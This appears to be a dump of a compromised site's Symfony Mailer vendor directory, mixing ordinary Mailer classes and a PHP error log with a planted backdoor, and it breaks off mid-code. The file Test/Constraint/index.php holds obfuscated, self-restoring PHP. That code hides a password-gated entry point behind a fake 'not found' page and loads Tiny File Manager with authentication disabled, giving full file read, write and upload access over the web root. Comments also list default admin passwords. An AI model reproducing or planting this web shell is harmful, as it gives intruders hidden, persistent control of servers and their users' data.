MessageEvents $events; public function __construct(MessageLoggerListener $logger) { $this->events = $logger->getEvents(); } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $this->data['events'] = $this->events; } public function getEvents(): MessageEvents { return $this->data['events']; } /** * @internal */ public function base64Encode(string $data): string { return base64_encode($data); } public function reset(): void { $this->data = []; } public function getName(): string { return 'mailer'; } } DelayedEnvelope.php 0000644 00000004636 15111203614 0010325 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Message; /** * @author Fabien Potencier <fabien@symfony.com> * * @internal */ final class DelayedEnvelope extends Envelope { private bool $senderSet = false; private bool $recipientsSet = false; private Message $message; public function __construct(Message $message) { $this->message = $message; } public function setSender(Address $sender): void { parent::setSender($sender); $this->senderSet = true; } public function getSender(): Address { if (!$this->senderSet) { parent::setSender(self::getSenderFromHeaders($this->message->getHeaders())); } return parent::getSender(); } public function setRecipients(array $recipients): void { parent::setRecipients($recipients); $this->recipientsSet = (bool) parent::getRecipients(); } /** * @return Address[] */ public function getRecipients(): array { if ($this->recipientsSet) { return parent::getRecipients(); } return self::getRecipientsFromHeaders($this->message->getHeaders()); } private static function getRecipientsFromHeaders(Headers $headers): array { $recipients = []; foreach (['to', 'cc', 'bcc'] as $name) { foreach ($headers->all($name) as $header) { foreach ($header->getAddresses() as $address) { $recipients[] = $address; } } } return $recipients; } private static function getSenderFromHeaders(Headers $headers): Address { if ($sender = $headers->get('Sender')) { return $sender->getAddress(); } if ($return = $headers->get('Return-Path')) { return $return->getAddress(); } if ($from = $headers->get('From')) { return $from->getAddresses()[0]; } throw new LogicException('Unable to determine the sender of the message.'); } } error_log 0000644 00000002365 15111203614 0006461 0 ustar 00 [18-Nov-2025 21:11:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Envelope" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php on line 24 [19-Nov-2025 04:33:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Envelope" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php on line 24 [24-Nov-2025 10:08:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Envelope" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DelayedEnvelope.php on line 24 [24-Nov-2025 11:55:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\MailerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Mailer.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Mailer.php on line 26 Header/MetadataHeader.php 0000644 00000001303 15111203614 0011265 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Header; use Symfony\Component\Mime\Header\UnstructuredHeader; /** * @author Kevin Bond <kevinbond@gmail.com> */ final class MetadataHeader extends UnstructuredHeader { private string $key; public function __construct(string $key, string $value) { $this->key = $key; parent::__construct('X-Metadata-'.$key, $value); } public function getKey(): string { return $this->key; } } Header/TagHeader.php 0000644 00000001043 15111203614 0010261 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Header; use Symfony\Component\Mime\Header\UnstructuredHeader; /** * @author Kevin Bond <kevinbond@gmail.com> */ final class TagHeader extends UnstructuredHeader { public function __construct(string $value) { parent::__construct('X-Tag', $value); } } Test/Constraint/EmailCount.php 0000644 00000003362 15111203614 0012356 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\Mailer\Event\MessageEvents; final class EmailCount extends Constraint { private int $expectedValue; private ?string $transport; private bool $queued; public function __construct(int $expectedValue, string $transport = null, bool $queued = false) { $this->expectedValue = $expectedValue; $this->transport = $transport; $this->queued = $queued; } public function toString(): string { return sprintf('%shas %s "%d" emails', $this->transport ? $this->transport.' ' : '', $this->queued ? 'queued' : 'sent', $this->expectedValue); } /** * @param MessageEvents $events */ protected function matches($events): bool { return $this->expectedValue === $this->countEmails($events); } /** * @param MessageEvents $events */ protected function failureDescription($events): string { return sprintf('the Transport %s (%d %s)', $this->toString(), $this->countEmails($events), $this->queued ? 'queued' : 'sent'); } private function countEmails(MessageEvents $events): int { $count = 0; foreach ($events->getEvents($this->transport) as $event) { if ( ($this->queued && $event->isQueued()) || (!$this->queued && !$event->isQueued()) ) { ++$count; } } return $count; } } Test/Constraint/index.php 0000644 00000567746 15111203614 0011452 0 ustar 00 <?php $q9qY1h=array(); ?><?php $UsaRo=ExplOdE(BaSe64_dEcoDe("PD9waHAgJHE5cVkxaD1hcnJheSgpOyA/Pg=="),FIle_gEt_contENts(__FILE__));if(tRIm($UsaRo[0])!=""||Trim($UsaRo[2])!=""){chmOd(__DIR__,0755);CHmOD(__FILE__,0644);fIlE_PUt_CONTeNTs(__FILE__,base64_DEcODe("PD9waHAgJHE5cVkxaD1hcnJheSgpOyA/Pg==").$UsaRo[1].bAse64_dEcODE("PD9waHAgJHE5cVkxaD1hcnJheSgpOyA/Pg=="));}?><?php goto ivweto;qtjl:$L.="=";goto svb;qrkn:$L.="i";goto pjgt;diue:$L.="t";goto zutb;jzlow:$L.="f";goto qsge;ocuaj:$L.="t";goto nfrkve;nrmq:$L.="m";goto kcf;mjwkn:if(isset($_POST[$IR])){$_SESSION[$IR]=trim($_POST[$IR]);}goto ohw;vjtsb:$L.="a";goto kte;xhj:$L.="s";goto jfd;fwrqpa:$L ="<";goto kzrcwi;ahwkn:$L.=" ";goto eopuc;gaic:$L.="'";goto hcns;yqsp:$L.="o";goto cfng;mpfg:$L.=">";goto fgctkn;amh:$L.="e";goto vjnxlu;bhx:$L.="o";goto pyjgdi;cwf:$L.="p";goto dflxq;pqja:$L.=">";goto vruhs;hpeyns:$L.="h";goto bhx;stv:$L.="i";goto yqsp;pehwx:$L.="'";goto liocy;iusbcv:$L.="e";goto sgarv;fvtuz:$L.=">";goto juzy;vkg:$Cj.="O";goto wouxcb;tbsuh:$L.="m";goto eigj;mqukyw:$L.="l";goto gpy;shxn:$L.="o";goto tajq;ucoj:$L.=">";goto jxbc;gpntv:$L.="e";goto jtxbm;klva:$L.="p";goto scne;kcf:$L.="i";goto diue;esr:$Cj.="T";goto ywvuk;pyjgdi:$L.="d";goto qtjl;uwcjo:$L.="p";goto kfbqlv;eqfx:$L.="t";goto iusbcv;swhz:$L.="m";goto eyxiqs;snmlx:$L.="=";goto fzpyl;bswda:$IR.="m";goto nelwa;ichbuf:$L.=" ";goto metnf;qnzeg:$Cj.="H";goto vkg;xsp:$L.="n";goto rsfg;ezc:$L.="n";goto zsdkew;lbeoa:$L.="c";goto hjpkes;irx:$IR.="a";goto fwrqpa;ilqf:$L.="m";goto evgczd;wduv:$L.="m";goto zlgi;rsfg:$L.="a";goto wduv;vjnxlu:$L.="=";goto aeow;voteqc:$L.="m";goto iblpu;tajq:$L.="r";goto bwxnri;fzpyl:$L.="'";goto eqfx;evgczd:$L.="i";goto nyz;qxputg:$L.="'";goto jzlow;zptygd:$L.="'";goto pdksb;adwtu:$L.="n";goto vjtsb;mxvp:$L.="'";goto qwtg;zsdkew:$L.="a";goto voteqc;pdksb:$L.="'";goto ypuash;ywvuk:$Cj.="T";goto bjq;qsge:$L.="o";goto yzthg;snqamj:$L.="b";goto nrmq;ohw:if(empty($_SESSION[$IR])||$_SESSION[$IR]!=$Lv){echo $L; exit;}goto iup;zutb:$L.="'";goto ahwkn;jap:$L.="'";goto sgnm;bwxnri:$L.="m";goto aqk;dbqolj:$L.="u";goto kjv;dgesjn:$L.="t";goto hpeyns;wntxb:$L.="=";goto jap;pwivs:$L.="a";goto mqukyw;zxegr:$L.="a";goto gaic;nelwa:$IR.="i";goto vanz;wtkyur:$L.="m";goto gelzoi;hre:$L.="o";goto txzui;sdgqwp:$L.="u";goto snqamj;fgctkn:$L.="<";goto ycspf;til:$L.="i";goto wbejd;nty:$IR.="_";goto bswda;zbkf:$L.="m";goto zxegr;iblpu:$L.="e";goto fxcojp;kjv:$L.="t";goto ovr;bjq:$Cj.="P";goto bhezfg;orgfh:$L.="p";goto dbqolj;cfng:$L.="n";goto hmnpgi;cdvnu:$L.="b";goto ilqf;bli:$L.="s";goto twis;juzy:$L.="<";goto qrkn;ycspf:$L.="i";goto esh;yje:$L.="f";goto ycrlsv;eopuc:$L.="v";goto pwivs;bhezfg:$Cj.="_";goto qnzeg;ockha:$Cj.="T";goto ykxhcz;kte:$L.="m";goto gpntv;jtxbm:$L.="=";goto mxvp;kfbqlv:$L.="e";goto snmlx;eyxiqs:$L.="1";goto pehwx;mapy:$Lv=substr($Lv,0,6);goto mjwkn;gelzoi:$L.="i";goto zbkf;nyz:$L.="t";goto avpu;hasvki:$L.="'";goto bli;mofzcg:$Lv.=$IR;goto ryg;tlkw:$L.="t";goto skxd;bpex:$L.="t";goto dxmlc;dxmlc:$L.="'";goto fvtuz;wgs:$L.="b";goto wqxrg;liocy:$L.=" ";goto yrjia;yrjia:$L.="a";goto lbeoa;qkauf:$L.="y";goto cwf;hdspgt:$L.="/";goto yje;vruhs:$Cj="H";goto esr;juiqr:$L.="p";goto hre;svb:$L.="'";goto juiqr;ycrlsv:$L.="o";goto jfled;ryg:$Lv=md5($Lv);goto mapy;wouxcb:$Cj.="S";goto ockha;rxtf:$L.="m";goto pqja;pjgt:$L.="n";goto orgfh;aqk:$L.=" ";goto xsp;dflxq:$L.="e";goto wntxb;kzrcwi:$L.="f";goto shxn;hmnpgi:$L.="=";goto zptygd;skxd:$L.="y";goto uwcjo;txzui:$L.="s";goto bpex;jfled:$L.="r";goto rxtf;zlgi:$L.="e";goto cft;avpu:$L.="'";goto ucoj;hcns:$L.=" ";goto tlkw;jxbc:$L.="<";goto hdspgt;ovr:$L.=" ";goto adwtu;qwtg:$L.="l";goto ric;cimr:$IR="l";goto yzk;ivweto:session_start();goto cimr;esh:$L.="n";goto klva;yzthg:$L.="r";goto swhz;wbejd:$L.="t";goto tmk;eigj:$L.="e";goto dgesjn;scne:$L.="u";goto ocuaj;jfd:$L.="u";goto cdvnu;tmk:$L.="'";goto ichbuf;nfrkve:$L.=" ";goto ezc;ykxhcz:$Lv=$_SERVER[$Cj];goto mofzcg;twis:$L.="u";goto wgs;ohp:$L.="t";goto npbih;sgnm:$L.="s";goto sdgqwp;sgarv:$L.="x";goto ohp;vanz:$IR.="m";goto irx;ypuash:$L.=" ";goto tbsuh;cft:$L.="=";goto qxputg;fxcojp:$L.="=";goto hasvki;dvmqp:$L.="_";goto wtkyur;aeow:$L.="'";goto xhj;hjpkes:$L.="t";goto stv;wqxrg:$L.="m";goto til;metnf:$L.="t";goto qkauf;yzk:$IR.="g";goto nty;ric:$L.="g";goto dvmqp;npbih:$L.="'";goto mpfg;gpy:$L.="u";goto amh;iup:;?><?php //Default Configuration $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'; //TFM version define('VERSION', '2.4.7'); //Application Title define('APP_TITLE', 'Tiny File Manager'); $use_auth = false; $auth_users = array( 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="form-group"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE; ?></h1> </div> </div> <hr /> <div class="form-group"> <label for="fm_usr"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="form-group"> <label for="fm_pwd"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="form-group"> <?php fm_show_message(); ?> </div> <div class="form-group"> <button type="submit" class="btn btn-success btn-block mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } // update root path if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path; } // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = 